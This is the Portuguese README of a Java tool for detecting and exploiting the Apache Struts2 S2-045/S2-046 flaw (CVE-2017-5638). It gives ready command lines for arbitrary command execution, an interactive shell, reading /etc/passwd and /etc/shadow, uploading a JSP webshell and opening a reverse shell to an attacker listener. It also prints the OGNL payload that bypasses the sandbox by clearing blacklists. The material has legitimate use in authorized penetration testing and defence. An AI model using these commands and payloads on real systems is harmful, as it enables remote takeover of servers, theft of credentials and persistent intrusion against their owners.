
Struts2 S2-045/S2-046 CVE-2017-5638 ferramenta de detecção e exploração
Uma ferramenta de detecção e exploração de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente em Java. O módulo de detecção cobre as duas vulnerabilidades S2-045 / S2-046, e o módulo de exploração oferece execução de comandos, gerenciamento de arquivos, obtenção de informações, Shell interativo, Shell reverso, upload de Webshell e outros recursos.
Aviso de isenção de responsabilidade: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados, pesquisa de vulnerabilidades e fins educacionais. É estritamente proibido usá-la para fins ilegais não autorizados. O usuário assume toda a responsabilidade legal.
| Módulo | Subcomando | Descrição |
|---|
| Detecção de Vulnerabilidades | scan | Detecta S2-045 / S2-046 (verificação matemática + marcação de impressão digital UUID) |
| Varredura em Lote | batch | Detecta vários alvos em lote, gera resumo e relatório JSON |
| Execução de Comandos | exec | Execução de comandos arbitrários do sistema + retorno de saída (adaptação automática Win/Linux) |
| Shell Interativo | shell | Interação contínua, persistência de diretório cd, comandos internos pwd/webroot/os |
| Upload de Arquivos | upload | Gravação direta via OGNL (arquivos pequenos) / escrita segmentada via comandos (arquivos grandes) |
| Download de Arquivos | download | Download codificado em Base64 (seguro para binários) |
| Diretório Raiz Web | getpath | Obtém o caminho físico de implantação do aplicativo Web |
| Informações do Sistema | sysinfo | Informações de SO / usuário / kernel / diretório de trabalho |
| Shell Reverso | revshell | Shell reverso bash / PowerShell com um clique |
| Upload de Webshell | webshell | Gera e faz upload de JSP Webshell (estilo texto puro ?CMD=) |
| Exportação de Relatórios | scan -r | Relatórios JSON / HTML |
O recurso de download pode ler arquivos arbitrários do servidor (como
/etc/shadow). Use apenas em testes autorizados.
:: Execute no diretório do projeto
.\build.bat
No PowerShell, é necessário o prefixo
.\; no cmd, pode-se executar diretamentebuild.bat. O build.bat apenas compila e não realiza nenhuma solicitação de rede ou varredura. Após a compilação, a janela permanece aberta e entra na sessão cmd (você pode executar comandos da ferramenta diretamente; digiteexitpara fechar). Se o seu ambiente não puder gravar no repositório padrão do Maven, defina primeiro a variável de ambienteM2_REPOpara um diretório gravável.
Artefato: target\s2tool.jar (fat-jar).
Para Linux/Mac, consulte
build.sh
# 1. Detecção de vulnerabilidades
java -jar s2tool.jar scan http://target/action
# 2. Detecção + exportação de relatório JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. Execução de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Shell interativo
java -jar s2tool.jar shell http://target/action
# 5. Obter diretório raiz Web / informações do sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Upload / download de arquivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Upload de Webshell com um clique (estilo texto puro ?CMD=)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acesse: http://target/shell.jsp?CMD=whoami
# 8. Shell reverso (primeiro escute na máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Varredura em lote
java -jar s2tool.jar batch targets.txt -r json
# Linhas de comentário começam com # (ignoradas automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Faixa de versões do anúncio oficial (ambas as vulnerabilidades seguem os anúncios oficiais da Apache, para que os usuários avaliem se o alvo é afetado):
| Vulnerabilidade | CVE | Versões afetadas (versões vulneráveis) | Versões corrigidas (versões com patch) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 ou 2.5.10.1 e superiores |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 ou 2.5.10.1 e superiores |
Esta ferramenta não depende de julgamento por versão; ela determina diretamente se a vulnerabilidade existe com base nos resultados da sondagem de Payload, pois a identificação de versão não é confiável (muitos sites ocultam o número da versão). A tabela acima serve apenas como referência para sua avaliação manual; ela não afeta a lógica de detecção da ferramenta.
Para S2-046, a ferramenta suporta tanto a injeção de byte nulo no filename quanto o caminho de detecção Content-Type com a mesma causa raiz.
Princípio da vulnerabilidade:
Content-Type; S2-046: filename do Content-Disposition) na mensagem de exceção,
e a mensagem de exceção é avaliada por OGNL através do processo de tratamento de texto internacionalizado do Struts2 (TextParseUtil.translateVariables)(#nike='multipart/form-data') // Disfarça o Content-Type, passa na verificação contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Obtém o MemberAccess de maior privilégio
(#_memberAccess?(#_memberAccess=#dm): // Versões antigas: substituição direta
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Limpa a lista negra de nomes de pacotes
(#ognlUtil.getExcludedClasses().clear()) // Limpa a lista negra de classes
(#context.setMemberAccess(#dm)))) // Versões novas: limpa listas negras e depois substitui
Testado na prática: No Struts2 2.3.30, a versão simplificada (apenas
setMemberAccess) não consegue contornar a sandbox; é necessário usar a versão completa (incluindo o caminho de limpeza de listas negras via OgnlUtil).
| Técnica | Princípio | Descrição |
|---|---|---|
| Verificação matemática | OGNL executa 88888888-23333+1222; se a resposta contiver 88866777, a vulnerabilidade existe | Fórmula POC pública |
| Marcação de impressão digital UUID | Injeta um UUID aleatório e o reflete no corpo da resposta | Alta precisão, imune à latência de rede |
| Detecção por atraso | Diferença de tempo de Thread.sleep(6000) (apenas fallback sem retorno de saída para S2-045) | Limiar >3.6s |
Regra de julgamento: se a verificação matemática OU a marcação de impressão digital for detectada → confirmada como existente; apenas atraso detectado → suspeita de existência; nenhuma detectada → não existe.
struts2-vuln-tool/
├── pom.xml # Compilação Maven (empacotamento shade fat-jar)
├── build.bat / build.sh # Scripts de compilação (Windows verificado / Linux referência)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Entrada principal (CLI Picocli)
│ ├── core/ # Mecanismo central: cliente HTTP / construção de Payload / análise de resposta / parsing de alvos
│ ├── plugins/ # Arquitetura de plugins de vulnerabilidade (pontos de extensão)
│ │ └── impl/ # Plugins de detecção S2_045 / S2_046
│ ├── modules/ # Módulos funcionais: agendamento de detecção / identificação de impressão digital / execução de comandos / gerenciamento de arquivos / Shell etc.
│ ├── report/ # Geração de relatórios (console / JSON / HTML)
│ └── utils/ # Utilitários de log
├── src/main/resources/ # Configuração de log / referência de Payload
└── src/test/ # Testes unitários JUnit
Artigos sobre princípios e técnicas de vulnerabilidades:
Projetos de código aberto de referência (durante o desenvolvimento deste projeto, foram consultadas as ideias e Payloads dos seguintes repositórios):
Apenas para testes de segurança autorizados e uso em pesquisa e aprendizado.
É estritamente proibido usar para fins ilegais não autorizados. O usuário assume toda a responsabilidade legal.